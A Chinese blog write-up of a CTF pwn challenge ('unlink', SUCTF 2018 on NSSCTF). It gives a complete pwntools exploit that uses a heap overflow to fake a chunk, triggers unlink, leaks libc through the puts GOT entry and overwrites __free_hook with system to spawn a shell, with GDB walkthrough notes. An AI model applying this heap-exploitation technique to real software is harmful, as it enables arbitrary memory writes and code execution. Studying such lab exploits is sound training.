【PWN · heap | unlink | free_hook】[SUCTF 2018 招新赛]unlink

文章讲述了在NSSCTF竞赛中,通过利用程序中的unlink函数和take_note的溢出漏洞,实现内存劫持和__free_hook劫持,从而获取任意地址读写权限并最终获取shell的过程。作者详细展示了exploit的步骤和GDB调试分析。
摘要由CSDN通过智能技术生成

在前期学习了unlink后,今天翻NSSCTF找到一道名为unlink的题目,尝试不看wp做。过程很顺利!


前言

题目对于知识点unlink还是非常裸的,很直接,思路很清晰。


一、题目


二、思路浅析

通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!

很明显:

1.unlink

2.__free_hook劫持


三、exp

先给出exp,再把exp过程部分断点效果展示给大家,方便大家理解。(第四部分,对于raw_input()断下处,进行gdb调试分析)

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28867)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def touch(size):
    io.sendlineafter(b'chooice :\n',b'1')
    io.sendlineafter(b'size : \n',str(size).encode())

def delete(index):
    io.sendlineafter(b'chooice :\n',b'2')
    io.sendlineafter(b'to delete\n',str(index).encode())

def show(index):
    io.sendlineafter(b'chooice :\n',b'3')
    io.sendlineafter(b'to show\n',str(index).encode())
    io.recvuntil(b'is : ')

def take_note(index,payload):
    io.sendlineafter(b'chooice :\n',b'4')
    io.sendlineafter(b'modify :\n',str(index).encode())
    io.sendafter(b'content\n',payload)

if input('[!]Input "0" to gdb attach : ')=='0':
    gdb.attach(io)
buf=0x6020C0
touch(0x20)  # 写fake-chunk、溢出下一个chunk
touch(0x80)  # free触发unlink
touch(0x100) # 防止和topchunk合并
raw_input('[!]check')

# 写fake-chunk,溢出下一个chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
raw_input('[!]check')

# 触发unlink
delete(1)
raw_input('[!]check')

# 修改系列ptr的值
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload)
raw_input('[!]check')

# 通过puts泄露libc地址
payload=p64(elf.got['puts'])
take_note(0,payload)
raw_input('[!]check')
show(1)
puts=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
success(hex(puts))

# __free_hook
libc_base=puts-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
raw_input('[!]check')
system=libc_base+libc.sym['system']
take_note(1,p64(system))
raw_input('[!]check')
delete(2)

io.interactive()

四、exp效果具体分析

1.fake_chunk部分

这是刚分配完三个chunk后的内存情况,当我们执行下面这些语句构造fake_chunk

2.触发unlink

由于我们已经内存精心布置过,这是我们free chunk1能够向前合并chunk0中构造的fake_chunk且绕过保护机制

利用成功!

3.稍作修改

实际已经获得了任意地址读写的能力,但是个人习惯,先将上面的地址稍稍改一下

4.任意地址读——泄露libc——泄露puts真实地址

首先将puts的got表地址写到bss上,再通过show函数访问栈上指针指向的区域,也即puts_got内存储的东西——puts的真实地址,通过相对地址可泄露libc基址进而获得其他需要的函数/字符串地址

5.劫持__free_hook

思路是将__free_hook的got表写在chunk1指针处,将指向字符串'/bin/sh\x00'的指针写在chunk2位置,然后通过take_note函数写__free_hook为system,再free掉chunk2触发system('/bin/sh\x00')

 

 成功获得shell(这里是本地调试)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值